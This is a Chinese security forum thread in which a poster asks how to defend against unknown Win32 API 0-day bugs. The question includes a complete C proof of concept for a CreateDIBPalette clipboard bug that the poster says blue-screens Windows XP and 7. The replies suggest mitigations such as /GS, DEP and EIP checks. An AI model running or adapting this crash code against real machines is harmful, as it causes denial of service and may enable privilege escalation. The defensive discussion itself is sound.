如何防御未知的0DAY漏洞?(视回答的有效程度给予不同级别的奖励)
我把0DAY漏洞的范围缩小,仅指“通过调用有bug的WIN32API导致系统崩溃或者获得更高权限”的漏洞。比如:CreateDIBPalette函数本地权限提升漏洞。
#include <windows.h>
int main()
{
DEVMODE dm = {0};
dm.dmSize = sizeof(DEVMODE);
dm.dmBitsPerPel = 8;
dm.dmPelsWidth = 800;
dm.dmPelsHeight = 600;
dm.dmFields = DM_PELSWIDTH | DM_PELSHEIGHT | DM_BITSPERPEL;
ChangeDisplaySettings(&dm, 0);
BITMAPINFOHEADER bmih = {0};
bmih.biClrUsed = 0x200;//超过256
HGLOBAL h = GlobalAlloc(GMEM_FIXED, 0x1000);
memcpy((PVOID)GlobalLock(h), &bmih, sizeof(bmih));
GlobalUnlock(h);
::OpenClipboard(NULL);
::SetClipboardData(17, (HANDLE)h);
::CloseClipboard();
::OpenClipboard(NULL);
::GetClipboardData(CF_PALETTE);
return 0;
}
经本人测试,调用以上代码,可以导致Win XP X86、Win 7 x86、Win 7 x64蓝屏。
大家说说如何防御呢?
奖励措施:
1.视回答的有效程度和可实施程度加20~100水晶币。
2.回答特别有用者,加100水晶币,并将其用户组改为【核心会员】。 \GS编译选项
卡巴已经可以防栈溢出了
DEP
数据区域不可执行代码。
检测EIP,看是否是在.text段中~ sb666 发表于 2011-4-7 18:28 static/image/common/back.gif
回复 Tesla.Angela 的帖子
我稍稍说一下通用的方法
这些都是办法,不过如果这些调用在关卡上,效率就非常重要了
以前WIN98很不安全是吧?但运行效率那可是钢钢的.
拿现在运行XP或WIN7很流畅的机器来装个WIN98看看?不飞到天上去,哈哈.
页:
[1]